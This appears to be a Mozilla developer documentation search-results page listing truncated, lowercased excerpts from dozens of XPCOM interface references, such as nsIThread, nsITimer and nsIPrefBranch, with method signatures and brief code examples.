new hash based on a given data stream (nsiinputstream). see computing the hash of a file for an example of using this method. void updatefromstream( in nsiinputstream astream, in unsigned long alen ); parameters astream an input stream to read from. alen how much to read from the given astream. passing pr_uint32_max indicates that all data available will be used to update the hash. exc...
nsIDOMEvent
s precedence. if called from a subclass of event interface only the values specified in the initevent method are modified, all other attributes are left unchanged. void initevent( in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg ); parameters eventtypearg specifies the event type. this type may be any event type currently defined in this specification or a
new event type. the string must be an xml name. any
new event type must not begin with any upper, lower, or mixed case version of the string "dom". this prefix is reserved for future dom event sets. it is also strongly recommended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other
new events. canbubblearg specifies w...
nsIDOMGeoPositionCallback
to implement this interface to accept callbacks after using nsidomgeolocation.watchposition(). dom/interfaces/geolocation/nsidomgeopositioncallback.idlscriptable please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void handleevent(in nsidomgeoposition position); methods handleevent() called when
new position information is available. void handleevent( in nsidomgeoposition position ); parameters position an nsidomgeoposition object indicating the updated location information. ...
nsIDOMStorage
a string containing the requested key. exceptions thrown index_size_err there is no key at the specified index. removeitem() given a key, removes the corresponding entry from the session store. void removeitem( in domstring key ); parameters key the key for which data should be removed from storage. setitem() sets the value corresponding to a given key. if the key does not already exist, a
new key is added, associated with the specified value. if the key already exists, the existing value is replaced with the specified value. void setitem( in domstring key, in domstring data ); parameters key the key for which data should be set. data the data to associate with the specified key. see also dom storage structured client-side storage (html 5 specification) nsidomstorageitem ...
nsIDOMStorage2
value a string containing the requested key. exceptions thrown index_size_errthere is no key at the specified index. removeitem() given a key, removes the corresponding entry from local storage. void removeitem( in domstring key ); parameters key the key for which data should be removed from storage. setitem() sets the value corresponding to a given key. if the key does not already exist, a
new key is added, associated with the specified value. if the key already exists, the existing value is replaced with the specified value. void setitem( in domstring key, in domstring data ); parameters key the key for which data should be set. data the data to associate with the specified key. ...
nsIDOMStorageEventObsolete
the value of the domain attribute is "#session", then the session storage has changed. note: this interface describes the old, non-standard form of this event. you should use the nsidomstorageevent interface instead. method overview void initstorageevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in domstring keyarg, in domstring oldvaluearg, in domstring
newvaluearg, in domstring urlarg, in nsidomstorage storageareaarg); attributes attribute type description domain domstring the domain of the storage area which changed, or "#session" if the event represents a change to session storage. read only. methods initstorageevent() initializes a storage event. void initstorageevent( in domstring typearg, in ...
nsIDOMWindow
refox 44, this file is empty as its features were either no longer used or are only available from c++ code; see dom/base/nspidomwindow.h for those. while this interface is not officially defined by any standard bodies, it originates from the de-facto dom level 0 standard. starting in firefox 3, dom windows are actually based on nsidomwindow2, which is a subclass of nsidomwindow that adds some
new features to this interface. in gecko 7.0 nsidomwindow2 has been merged into this interface. in gecko 8.0 nsidomstoragewindow and nsidomwindowinternal have been merged into this interface. method overview nsidomcssstyledeclaration getcomputedstyle(in nsidomelement elt, [optional] in domstring pseudoelt); nsiselection getselection(); void scrollby(in long xscrolldif,...
nsIDOMWindow2
ce for a dom window object. it represents a single window object that may contain child windows if the document in the window contains an html frameset document, or if the document contains <iframe> elements. inherits from: nsidomwindow last changed in gecko 1.9 (firefox 3) because nsidomwindow is frozen, this interface was introduced in firefox 3 (gecko 1.9) to allow dom windows to take on
new features. dom windows implement nsidomwindow2, which is a subclass of nsidomwindow. in gecko 7.0 this interface has been merged into nsidomwindow. attributes attribute type description applicationcache nsidomofflineresourcelist the application cache object for this window. read only. windowroot nsidomeventtarget the window root for this window. this...
nsIDOMXPathEvaluator
mentelement. resolver a name space resolver created by creatensresolver(), or a user defined name space resolver. read more on implementing a user defined namespace resolver if you wish to take the latter approach. type a number that corresponds to one of the type constants of nsixpathresult. result an existing nsixpathresult to use for the result. using null will create a
new nsixpathresult. return value an xpath result. see also introduction to using xpath in javascript document.evaluate dom level 3 xpath specification xml path language (xpath)rec nsidomxpathresult nsidomxpathexception ...
nsIDOMXPathExpression
ports result ); parameters contextnode a dom node to evaluate the xpath expression against. to evaluate against a whole document, use the document.documentelement method to get the node to evaluate against. type a number that corresponds to one of the type constants of nsidomxpathresult. result an existing nsidomxpathresult to use for the result. using null will create a
new nsidomxpathresult. return value an xpath result. see also introduction to using xpath in javascript nsidomxpathevaluator document.evaluate document object model (dom) level 3 xpath specification nsidomxpathresult ...
nsIHttpHeaderVisitor
s.ns_binding_aborted; this.nsihttpchannel = components.interfaces.nsihttpchannel; this.nsichannel = components.interfaces.nsichannel; this.nsirequest = components.interfaces.nsirequest; }; myhttprequestobserver.prototype.observe = function ( subject, topic, data ) { var uri, avisitor; if ( subject instanceof this.nsihttpchannel ) { avisitor =
new mynsihttpheadervisitor( ); subject.visitresponseheaders( avisitor ); if ( avisitor.isflash( ) ) { uri = subject.uri; subject.cancel( this.aborted ); alert( "found flash!" ); //handle flash file here } } }; myhttprequestobserver.prototype.register = function ( ) { var observerservice = components...
nsIHttpServer
.createinstance(components.interfaces.nsilocalfile); file.initwithpath(directorypath); return server.registerdirectory(path, file); }, registerpathhandler: function(path, handlercallback) { server.registerpathhandler(path, function (request, response) { var req = createhttprequest(request); var resp =
new httpresponse(response); handlercallback(req, resp); }); }, registerprefixhandler: function(prefix, handlercallback) { server.registerprefixhandler(prefix, function (request, response) { var req = createhttprequest(request); var resp =
new httpresponse(response); handlercallback...
nsIHttpUpgradeListener
being used by http. note: to begin a protocol upgrade, call nsihttpchannelinternal.httpupgrade(). void ontransportavailable( in nsisockettransport atransport, in nsiasyncinputstream asocketin, in nsiasyncoutputstream asocketout ); parameters atransport the nsisockettransport describing the socket connection between the browser and the server; this socket can now be used for the
new protocol instead of http. asocketin the nsiasyncinputstream object representing the input stream for data coming from the server over the socket connection. asocketout the nsiasyncoutputstream object representing the out stream for sending data to the server over the socket. ...
nsIInstallLocation
r not this install location is on an area of the file system that could be restricted on a restricted-access account, regardless of whether or not the location is restricted with the current user privileges. read only. constants constants representing priority of some default install locations. you should not use the exact values here, you should offset from these values each time you create a
new install location. offsetting can be brittle but you should know what install locations are being defined for your own application. constant value description priority_app_profile 0 priority_app_system_user 10 priority_xre_system_user 100 priority_app_system_global 1000 priority_xre_system_global 10000 methods getidforlocation() retrieves the guid for an item at the speci...
nsIJetpack
orm //@line 1 "foo.js" can be used to specify filename and line number information for debugging purposes. void evalscript( in astring ascript ); parameters ascript the full contents of the script to evaluate in the jetpack process. createhandle() this creates an opaque handle that can transparently be exchanged between processes. nsivariant createhandle(); parameters none. return value the
new handle. destroy() this terminates the jetpack process. void destroy(); parameters none. special messages if an exception goes uncaught in the jetpack process, it will be reported to the chrome process via a message with the name core:exception. the message comes with one argument, which represents the exception object that was thrown. warning: bug 589308 prevents this message from being sent in ...
nsIJumpListBuilder
widget/public/nsijumplistbuilder.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) jump lists are built and then applied. modifying an applied jump list is not permitted. callers should begin the creation of a
new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild(). lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step. the default number of allowed items in a jump list is ten. users can change the number through system preferences. user may also pin items to jump lists, which take up additional slots...
nsILoadGroup
ts are added to and removed from this load group. the groupobserver is weak referenced. notificationcallbacks nsiinterfacerequestor notification callbacks for the load group. requests nsisimpleenumerator returns the requests contained directly in this group. enumerator element type: nsirequest. read only. methods addrequest() adds a
new request to the group. this will cause the default load flags to be applied to the request. if this is a foreground request then the groupobserver's onstartrequest will be called. if the request is the default load request or if the default load request is null, then the load group will inherit its load flags from the request. void addrequest( in nsirequest arequest, in nsisupports acontext );...
nsILocalFile
ned. delete_on_close file will be deleted when closed. mode a unix-style file permissions value. for example, the octal value 0600 may be used to limit read and write access to the current user of the system. this parameter may be ignored on systems that do not support file permissions. return value if the file is successfully opened, returns a pointer to the prfiledesc created for the
newly opened file. returns a null pointer if the open failed. example #include "prio.h" #include "nserror.h" #include "nsilocalfile.h" // read the contents of a nsilocalfile... nsresult readlocalfile(nsilocalfile *alocalfile) { prfiledesc *fd; nsresult rv = alocalfile->opennsprfiledesc(pr_rdonly, 0, &fd); if (ns_failed(rv)) return rv; char buf[512]; print32 n; while ((n = pr_rea...
nsILoginInfo
logininfo containing a clone of the login on which this method was invoked. equals() tests to determine whether this login is exactly equal to another nsilogininfo object. boolean equals( in nsilogininfo alogininfo ); parameters alogininfo the login to which to compare for equality. return value true if the two logins are exactly equal or false if they're not. init() initializes a
newly created nsilogininfo object. void init( in astring ahostname, in astring aformsubmiturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield ); parameters ahostname the value to assign to the hostname field. aformsubmiturl the value to assign to the formsubmiturl field. ahttprealm the value to assign to...
nsIMIMEInputStream
methods addheader() adds an additional header to the stream on the form "name: value". may not be called once the stream has been started to be read. void addheader( in string name, in string value ); parameters name name of the header. value value of the header. setdata() sets data-stream. may not be called once the stream has been started to be read. the cursor of the
new stream should be located at the beginning of the stream if the implementation of the nsimimeinputstream also is used as an nsiseekablestream. void setdata( in nsiinputstream stream ); parameters stream stream containing the data for the stream. example var postdata = components.classes["@mozilla.org/network/mime-input-stream;1"] .createinstance(components.interfaces.ns...
nsIMemoryReporterManager
note: it covers all heap allocations, but will miss any operating system level ones not covered by memory reporters. this reporter is special-cased because it is interesting, and is moderately difficult to compute in javascript. -1 means unknown. read only. resident print64 gets the resident size (that is rss, physical memory used). ...
nsIMessenger
inherits from: nsisupports implemented by: @mozilla.org/messenger;1. to create an instance, use: messenger = components.classes["@mozilla.org/messenger;1"] .createinstance(components.interfaces.nsimessenger); in thunderbird, a global nsimessenger object is defined as messenger via the createmessenger function in mailwindow.js. ...
nsIMicrosummaryService
iuri pageuri, in nsiuri generatoruri ); parameters pageuri the uri of the page to be summarized. generatoruri the uri of the microsummary generator. return value returns an nsimicrosummary for the given page and generator uris. getbookmarks() get the set of bookmarks with microsummaries. in the old rdf-based bookmarks datastore, bookmark ids are nsirdfresource objects. in the
new places-based datastore, they are nsiuri objects. nsisimpleenumerator getbookmarks(); parameters none. return value returns an nsisimpleenumerator enumeration of bookmark ids. getgenerator() return a microsummary generator for the given uri. nsimicrosummarygenerator getgenerator( in nsiuri generatoruri ); parameters generatoruri the uri of the generator. return value returns an nsimi...
nsIMimeHeaders
nsimimeheaders mail
news/mime/public/nsimimeheaders.idlscriptable ??? add brief description of interface ??? inherits from: nsisupports last changed in gecko 1.7 implemented by: ?????????????????????????????????????. to create an instance, use: implemented by: ????????????????????????????????????? as a service: var mimeheaders = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsimimeheaders); method overview string extractheader([const] in string headername, in boolean getallofthem); void initialize([const] in string allheaders, in long allheaderssize); attributes attribute type description allheaders string read...
nsIMsgAccount
nsimsgaccount mail
news/base/public/nsimsgaccount.idlscriptable an account consists of an incoming server and one or more outgoing identities. inherits from: nsisupports last changed in gecko 1.7 method overview void addidentity(in nsimsgidentity identity); void clearallvalues(); void init(); void removeidentity(in nsimsgidentity identity); astring tostring(); attributes attribute type description defaultidentity nsimsgidentity identities nsisupportsarray read only. outgoing identity list (array of nsimsgidentity's) incomingserver nsimsgincomingserver incoming server stuff key acstring internal key identifying itself methods addidentity() adds a
new identity to this account. void addidentity( in nsimsgidentity identity ); parameters identity th...
nsIPipe
ackground thread. the pipe supports nsiasyncinputstream and nsiasyncoutputstream, which give the user of a non-blocking pipe the ability to wait for the pipe to become ready again. for example, in the case of an empty non-blocking pipe, the user can call nsiasyncinputstream.asyncwait() on the input end of the pipe to be notified when the pipe has data to read (or when the pipe becomes closed). ns_
newpipe2() and ns_
newpipe() provide convenient pipe constructors for c++. in most cases nsipipe is not actually used. it is usually enough to just get references to the pipe's input and output end. in which case, the pipe is automatically closed when the respective pipe ends are released. ...
nsIPlacesImportExportService
(in nsiuri auri, in boolean aisinitialimport); obsolete since gecko 14.0 methods backupbookmarksfile() backs up the bookmarks.html file. void backupbookmarksfile(); parameters none. exporthtmltofile() saves the current bookmarks hierarchy to a bookmarks.html file. void exporthtmltofile( in nsilocalfile afile ); parameters afile an nsilocalfile indicating where to save the
new bookmarks.html file. importhtmlfromfile() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) note: this method has been removed; use the bookmarkhtmlutils.jsm javascript code module instead. loads the given bookmarks.html file and replaces it with the current bookmarks hierarchy (if aisinitialimport is true) or appends it (if aisinitialimpor...
nsIPlacesView
nsinavhistoryresult getresult(); nsinavhistorycontainerresultnode getresultnode(); nsinavhistoryresultnode[] getselectionnodes(); void selectall(); attributes attribute type description hasselection boolean whether or not there are selected items. read only. insertionpoint insertionpoint the insertionpoint at which
new items will be inserted upon drop, paste, or creation. read only. place string theuri (as a string) of the root place that the view displays. this may be modified dynamically to update the view. see displaying places information using views for examples. selectednode nsinavhistoryresultnode the selected node in the view. if there are multiple selected nodes, this is n...
Component; nsIPrefBranch
methods addobserver() adds a preference change observer. on preference changes, the following arguments will be passed to nsiobserver.observe(): asubject - the nsiprefbranch object (this). atopic - the string defined by ns_prefbranch_prefchange_topic_id adata - the name of the preference which has changed, relative to the "root" of the asubject branch. asubject.get*pref(adata) will get the
new value of the modified preference. for example, if your observer is registered with addobserver("bar.", ...) on a branch with root "foo.", modifying the preference "foo.bar.baz" will trigger the observer, and adata parameter will be "bar.baz". void addobserver( in string adomain, in nsiobserver aobserver, in boolean aholdweak ); parameters adomain the preference on which to listen for...
nsIPrefBranch2
methods addobserver() add a preference change observer. on preference changes, the following arguments will be passed to nsiobserver.observe(): asubject - the nsiprefbranch object (this). atopic - the string defined by ns_prefbranch_prefchange_topic_id adata - the name of the preference which has changed, relative to the "root" of the asubject branch. asubject.get*pref(adata) will get the
new value of the modified preference. for example, if your observer is registered with addobserver("bar.", ...) on a branch with root "foo.", modifying the preference "foo.bar.baz" will trigger the observer, and adata parameter will be "bar.baz". void addobserver( in string adomain, in nsiobserver aobserver, in boolean aholdweak ); parameters adomain the preference on which to listen for...
nsIPrintingPrompt
w parameter. see nsiprintingpromptservice for all documentation. this service enables embedders to implement their own print and progress dialogs. each platform has a "base" or "backstop" implementation of the service. the service is automatically registered at start up. historically, platform toolkits with native dialogs have implemented them in the gfx layer usually they were displayed when a
new devicecontextspec specific to that platform was created. windows: the gfx layer no longer supports default toolkit behavior for displaying the native print dialog. if an embedder implemented service returns any error code (other than ns_error_abort) printing will terminate. returning ns_ok assumes that the printsettings object was correctly filled in and if it does not have valid fields for pr...
nsIProcess
represented by the nsiprocess object. this only works if the process was run without blocking enabled. gecko 1.9.1 note prior to gecko 1.9.1 (firefox 3.5), this method did not work on windows or mac os x. now it does. void kill(); parameters none. run() starts executing the process. gecko 1.9.1 note prior to gecko 1.9.1 (firefox 3.5), this method returned the process id of the
newly executing process. it no longer returns a value. void run( in boolean blocking, [array, size_is(count)] in string args, in unsigned long count ); parameters blocking if true, this method will block until the process terminates; if false, the method returns immediately. args an array of count arguments, using the native character set, to be passed to the executable on its command...
nsIPrompt
parent nsidomwindow parameter. to avoid redundancy, all methods here link to nsipromptservice. if you are using this interface, you must remove the nsidomwindow arguments from those methods. normally you would use the prompt service as it is more flexible, but sometimes a callback will request an nsiprompt via nsiinterfacerequestor.getinterface(). to get an instance, call the nsiwindowwatcher.get
newprompter(). method overview void alert(in wstring dialogtitle, in wstring text); void alertcheck(in wstring dialogtitle, in wstring text, in wstring checkmsg, inout boolean checkvalue); boolean confirm(in wstring dialogtitle, in wstring text); boolean confirmcheck(in wstring dialogtitle, in wstring text, in wstring checkmsg, inout bool...
nsIPushService
push-subscription-change null scope fired when the push server drops a subscription, or the subscription identifier changes. serviceworkerglobalscope.onpushsubscriptionchange please make sure you listen for push-subscription-change. if the subscription is lost, and your code isn't listening for this notification, you won't be able to receive messages until you create a
new subscription. example const obsservice = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); let pushobserver = { scope: "chrome://my-module/push", observe(subject, topic, data) { // the scope is passed as the `data` argument for `push-message` and // `push-subscription-change` observers. make sure the message is meant // for us. ...
nsIPushSubscription
key. please see method parameters in xpidl for more details on using out parameters in javascript. quotaapplies() indicates whether this subscription is subject to the background message quota. bool quotaapplies(); nsipushsubscription.quotaapplies() always returns false for system subscriptions. parameters none. isexpired() indicates whether this subscription has expired and must be re
newed. a subscription expires if its service worker exceeds the quota, or if the desktop-notification permission for its origin is revoked. bool isexpired(); nsipushsubscription.isexpired() always returns false for system subscriptions. parameters none. example const { classes: cc, interfaces: ci, utils: cu } = components; const scriptsecuritymanager = cc["@mozilla.org/scriptsecuritymanager...
nsISHEntry
s entry is for a subframe navigation. void setissubframe( in boolean aflag ); parameters aflag setscrollposition() set/get scrollers' positon in anchored pages. void setscrollposition( in long x, in long y ); parameters x y settitle() title for the document. void settitle( in astring atitle ); parameters atitle setuniquedocidentifier() changes this entry's doc identifier to a
new value which is unique among those of all other entries. void setuniquedocidentifier(); parameters none. seturi() uri for the document. void seturi( in nsiuri auri ); parameters auri native code only!setviewerbounds void setviewerbounds( in nsintrect bounds ); parameters bounds syncpresentationstate() ensure that the cached presentation members are self-consistent. if either contentv...
nsIScreen
rectangle. lockminimumbrightness() locks the minimum brightness of the screen, preventing it from becoming any dimmer than that brightness level. each call to this method must eventually be followed by a corresponding call to unlockminimumbrightness() with the same value for the brightness parameter. void lockminimumbrightness( in unsigned long brightness ); parameters brightness the
new minimum brightness level; this must be one of the values specified in screen brightness constants. unlockminimumbrightness() releases a lock on the minimum brightness of the screen, which was previously established through a corresponding call to lockminimumbrightness(). void unlockminimumbrightness( in unsigned long brightness ); parameters brightness the brightness level to release...
nsIScriptableUnescapeHTML
sxml set this to true if the fragment is an xml string; otherwise set it to false. baseuri pointer to the base uri against which to resolve any uris included in the fragment. this parameter is ignored if isxml is false. element the nsidomelement to be used as the context node for the purposes of the fragment parsing algorithm. return value an nsidomdocumentfragment of the element with the
new text appended. exceptions thrown ns_error_failure unable to append the text to the element. unescape() convents html source into plain text. this is equivalent to calling nsiparserutils::converttoplaintext(src, nsidocumentencoder::outputselectiononly | nsidocumentencoder::outputabsolutelinks, 0). you should call nsiparserutils::converttoplaintext() instead of calling this method. astrin...
nsISearchEngine
earch 3 search engine data type constants constant value description data_xml 1 data type is xml data_text 2 data type is text. methods addparam() adds a parameter to the search engine's submission data. this should only be called on engines created via nsibrowsersearchservice.addengi
newithdetails(). void addparam( in astring name, in astring value, in astring responsetype ); parameters name the name of the parameter to add. value the value to pass. if value is "{searchterms}", it will be substituted with the user-entered data when retrieving the submission. must not be null. responsetype since an engine can have several different...
nsIServerSocketListener
the transport is in the connected state, and read/write streams can be opened using the normal nsitransport api. the address of the client can be found by calling the nsisockettransport.getaddress() method or by inspecting nsisockettransport.gethost(), which returns a string representation of the client's ip address, which may be either an ipv4 or an ipv6 address. ...
nsISmsRequestManager
ed errors that could apply to smsrequest objects. constant value description success_no_error 0 no_signal_error 1 not_found_error 2 unknown_error 3 internal_error 4 methods addrequest() track an already existing request object. long addrequest( in nsidommozsmsrequest arequest ); parameters arequest an smsrequest. return value the request id. createrequest() create a
new request object. long createrequest( in nsidommozsmsmanager amanager, out nsidommozsmsrequest arequest ); parameters amanager an smsmanager. arequest an smsrequest. return value the request id. notifycreatemessagelist() void notifycreatemessagelist( in long arequestid, in long alistid, in nsidommozsmsmessage amessage ); parameters arequestid a number representing the id of the reque...
nsISound
event_alert_dialog_open 1 an alert dialog is opened. event_confirm_dialog_open 2 a confirm dialog is opened. event_prompt_dialog_open 3 a prompt dialog (one that allows the user to enter data, such as an authentication dialog) is opened. ev...
nsIStringBundleService
uments. typically used to format a message received by a nsiprogresseventsink's onstatus method. wstring formatstatusmessage( in nsresult astatus, in wstring astatusarg ); parameters astatus the status code. this is mapped into a string id and and used in the string lookup process (see nsierrorservice). astatusarg the status message argument(s). multiple arguments can be separated by
newline ('\n') characters. return value the formatted message. see also code snippets : miscellaneous : using string bundles from javascript how to localize html pages, xul files, and js/jsm files from bootstrapped add-ons. the localizing js/jsm files uses the nsistringbundleservice: bootstrapped extensions :: localization (l10n) nsistringbundle ...
nsISupports proxies
re is no guarantee about the data at the location that used to be part of that stack frame. accessing it might even cause a crash. for example: myfoo->bar(&x) ... stack frame goes away ... bar(print32 *x) { ... *x = 0; <----- you will blow up here. } so, given an event queue to execute methods on, and either an nsisupports object that has been created or cid, and a flag, a
new nsisupports proxy object will be returned to you. once you have a proxy object, you may use it as if it is the "real" object. all the methods that are in the "real" object are stubbed into the proxy object. when you are finished with a proxy object, you should call ns_release on it. it will take care of freeing the "real" object as well as itself. if you have created the object yourself and then ...
nsISyncMessageSender
e, with each original object replaced with a cross process object wrapper for it. principal nsiprincipal returns array: an array of structured clones of the objects returned by all the listeners to this message, one element for each listener. if there was only one listener, it is an array with a single element. sendrpcmessage() like sendsyncmessage(), except re-entrant.
new rpc messages may be issued even if, earlier on the call stack, we are waiting for a reply to an earlier sendrpcmessage() call. parameters name type description messagename string the name of the message. optional. this becomes the name property of the received message. obj jsonable object. the message payload. a structured clo...
nsITextInputProcessorNotification
dom/interfaces/base/nsitextinputprocessorcallback.idlscriptable this interface of a request or notification to ime 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) this interface tells details of a request or notification to ime. when gecko supports
new notification to ime, this interface may have some
new attributes. so, nsitextinputprocessorcallback won't be changed for keeping backward compatibility. attributes attribute type description type acstring the type of request or notification to ime. see type values below. types "request-to-commit" this is required to be handled. when this is requested, the callback should commit comp...
nsIThread
hread (usually the thread that created it, or the main application thread). when this function returns, the thread will be shut down and will no longer be available to receive events. void shutdown() parameters none. exceptions thrown ns_error_unexpected shutdown() was erroneously called from within the thread itself, the thread was not created with the thread manager's nsithreadmanager.
newthread() method, or the thread is already in the process of being shut down. haspendingevents() determines whether or not the thread has events that are ready to be processed. note: this method must be called from within the thread itself, and not from another thread. boolean haspendingevents() parameters none. return value true if there are pending events at the time the function was ca...
nsIThreadInternal
vents have been processed during a call to shutdown. methods popeventqueue() reverts a call to pusheventqueue(). when an event queue is popped, any events remaining in the queue are appended to the elder queue. void popeventqueue(); parameters none. pusheventqueue() causes any events currently enqueued on the thread to be suppressed until popeventqueue() is called. in addition, any
new events dispatched to the thread are only processed if they are accepted by the specified filter. if the filter is null, all
new events are accepted. calls to pusheventqueue() may be nested, and must each be paired with a corresponding call to popeventqueue() to restore the original state of the thread. void pusheventqueue( in nsithreadeventfilter filter ); parameters filter the nsithre...
nsIThreadPool
ads/nsithreadpool.idlscriptable the nsithreadpool interface provides support for thread pools. 1.0 66 introduced gecko 1.9 inherits from: nsieventtarget last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) a thread pool provides a convenient way to process events off the main thread. when you send events to the thread pool, the pool creates a
new thread to process the event, up to the number of threads specified by the threadlimit attribute. method overview void shutdown(); attributes attribute type description idlethreadlimit unsigned long get/set the maximum number of idle threads that are kept alive. once there are more than this many idle worker threads, the idle threads start getting d...
nsIThreadPoolListener
interface represents objects that listen to notifications generated by the nsithreadpool. xpcom/threads/nsithreadpool.idlscriptable please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void onthreadcreated(); void onthreadshuttingdown(); methods onthreadcreated() called when a
new thread is created by the thread pool. the notification happens on the
newly created thread. void onthreadcreated(); parameters none. onthreadshuttingdown() called when a
new thread is about to be destroyed by the thread pool. the notification happens on the thread that is about to be destroyed. void onthreadshuttingdown(); parameters none. see also the thread manager nsithreadpool ...
nsITimer
e_repeating_precise kind was similar to type_repeating_precise_can_skip while also being less useful. so the distinction was removed. type_repeating_precise_can_skip 3 this repeating timer aims to have constant period between firings. the processing time for each timer callback should not influence the timer period. however this timer type guarantees that it will not queue up
new events to fire the callback until the previous callback event finishes firing. if the callback takes a long time, then the next callback will be scheduled immediately afterward, but only once, unlike type_repeating_precise. if you want a non-slack timer, you probably want this one. methods cancel() cancels the timer. this method works on all types, not just on repeating timers -- you m...
nsIToolkit
get/public/nsitoolkit.idlnot scriptable this interface is used to initialize a message pump. inherits from: nsisupports last changed in gecko 1.0 method overview void init(in prthread athread); methods init() initialize this toolkit with athread. void init( in prthread athread ); parameters athread the thread passed in runs the message pump. null can be passed in, in which case a
new thread gets created and a message pump will run in that thread. see also prthread ...
nsITransaction
intained. transient transactions cannot be undone or redone by the transaction manager. read only. methods dotransaction() executes the transaction. void dotransaction(); parameters none. merge() attempts to merge a transaction into "this" transaction. both transactions must be in their undo state, dotransaction() methods already called. the transaction manager calls this method to coalesce a
new transaction with the transaction on the top of the undo stack. this method returns a boolean value that indicates the merge result. a true value indicates that the transactions were merged successfully, a false value if the merge was not possible or failed. if true, the transaction manager will release() the
new transaction instead of pushing it on the undo stack. boolean merge( in nsitransacti...
nsIURL
/ \ filename / ---------------------------- | filepath you can get a nsiurl from an nsiuri, using the queryinterface() method: var myuri = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .
newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or using instanceof: if (myuri instanceof components.interfaces.nsiurl) { // your code here } method overview autf8string getcommonbasespec(in nsiuri auritocompare); autf8string getrelativespec(in nsiuri auritocomp...
nsIUpdatePatch
be downloaded and installed for this update transaction. false if another update is selected. size unsigned long the size of the patch file in bytes. state astring the state of this patch. type astring the type of patch represented by the object: "partial" a binary difference between two application versions. "complete" a complete patch containing all the replacement files to update to the
new version. url astring the url from which the patch was downloaded. methods serialize() serializes the patch object into a dom element. nsidomelement serialize( in nsidomdocument updates ); parameters updates the dom document into which to serialize the patch. return value the patch object serialized into an nsidomelement. see also nsiupdate nsiupdatechecklistener nsiupdatechecker nsia...
nsIWebBrowser
the interface may also be used at runtime to obtain the content dom window and from that the rest of the dom. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning: this interface was frozen for a very long time, but was unfrozen for gecko 2.0. ...
nsIWebBrowserChrome3
ersal() determines the appropriate target for a link. astring onbeforelinktraversal( in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab ); parameters originaltarget the original link target. linkuri link destination uri. linknode link dom node. isapptab whether or not the link is in an application tab. return value a
new link target, if appropriate. otherwise returns originaltarget. see also nsiwebbrowserchrome2 ...
nsIWebNavigation
docshell/base/nsiwebnavigation.idlscriptable defines an interface for navigating the web. it provides methods and attributes to direct an object to navigate to a
new location, stop or restart an in process load, or determine where the object has previously gone. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) this interface is implemented by the following components: * @mozilla.org/browser/shistory-internal;1 * @mozilla.org/browser/shistory;1 * @mozilla.org/embedding/browser/nswebbrowser;1 * @mozilla.org/docshell;1 gecko 1.9.2 note in gecko 1.9.2 (firefox 3.6), the @mozilla.org/webshell;1 component no longer exists; you need to use @mozilla.org/docshell;1 instead. method overview void goback void goforward void gotoind...
nsIXMLHttpRequest
file or some file you want to download and make a nsiarraybufferinputstream out of it or something xhr.send(null); } xhr('https://www.gravatar.com/avatar/eb9895ade1bd6627e054429d1e18b576?s=24&d=identicon&r=pg&f=1', data => { services.prompt.alert(null, 'xhr success', data); var file = os.path.join(os.constants.path.desktopdir, "test.png"); var promised = os.file.writeatomic(file,
new uint8array(data)); promised.then( function() { alert('succesfully saved image to desktop') }, function(ex) { alert('failed in saving image to desktop') } ); }); ...
nsIXSLTProcessor
arameter() sets a parameter to be used in subsequent transformations with this nsixsltprocessor. if the parameter doesn't exist in the stylesheet the parameter will be ignored. void setparameter( in domstring namespaceuri, in domstring localname, in nsivariant value ); parameters namespaceuri the namespaceuri of the xslt parameter. localname the local name of the xslt parameter. value the
new value of the xslt parameter. transformtodocument() transforms the node source applying the stylesheet imported by importstylesheet(). nsidomdocument transformtodocument( in nsidomnode source ); parameters source the node to be transformed. return value an document containing the result of the transformation. transformtofragment() transforms the node source applying the stylesheet imported b...
nsIXULAppInfo
s will be different than the build id of the platform. be careful about which one you want. read only. id acstring the xul application's uuid. can be an empty string, if id is not set. has to be defined for advanced application features such as the extension manager and update service. this has traditionally been in the form "{aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee}" but for
new applications a more readable form is encouraged: "appname@vendor.tld". only the following characters are allowed: a-z a-z 0-9 - . @ _ { } * read only. name acstring the name of the application. this must be ascii, and is normally mixed-case, for example "firefox", "thunderbird" or "seamonkey". must not be null or an empty string. read only. platformbuildid acstring t...
nsIXULBrowserWindow
in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab); void setjsdefaultstatus(in astring status); void setjsstatus(in astring status); void setoverlink(in astring link, in nsidomelement element); methods onbeforelinktraversal() called before traversing a link to determine the appropriate target into which to load the link. this may be used, for example, to redirect links into
new tabs or windows when it's not desirable to replace the content in the current tab (such as when the link is clicked in an app tab). astring onbeforelinktraversal( in astring originaltarget, in nsiuri linkuri, in nsidomnode linknode, in prbool isapptab ); parameters originaltarget the specified target for the link. linkuri the uri of the link that is about to be traversed. linknode the n...
nsIZipReader
instance(ci.nsizipreader); cu.import('resource://gre/modules/osfile.jsm'); cu.import('resource://gre/modules/fileutils.jsm'); var reusablestreaminstance = cc['@mozilla.org/scriptableinputstream;1'].createinstance(ci.nsiscriptableinputstream); var pathtoxpitoread = os.path.join(os.constants.path.profiledir, 'extensions', 'portabletester@jetpack.xpi'); var nsifilexpi =
